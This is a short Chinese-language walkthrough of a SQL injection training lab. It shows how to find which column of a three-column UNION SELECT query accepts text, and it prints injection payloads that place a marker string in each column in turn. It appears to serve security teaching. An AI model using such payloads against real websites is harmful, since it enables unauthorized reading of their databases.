# Web SQL injection Lab8 本題是接續上題,我們找出了欄位數,接下來要找出哪個欄位可以放入文字,一樣先進入網站。 需放入的文字為:`0hnJBB`  先攔截請求並修改(已知欄位數為三)。 ``` %27%20UNION%20SELECT%20NULL,NULL,NULL-- ```  因為不知道哪個欄位可以放文字:`0hnJBB`,所以每個都試一遍,看哪個會成功。 ``` '+UNION+SELECT+'0hnJBB',NULL,NULL-- ```  ``` '+UNION+SELECT+NULL,'0hnJBB',NULL-- ``` 
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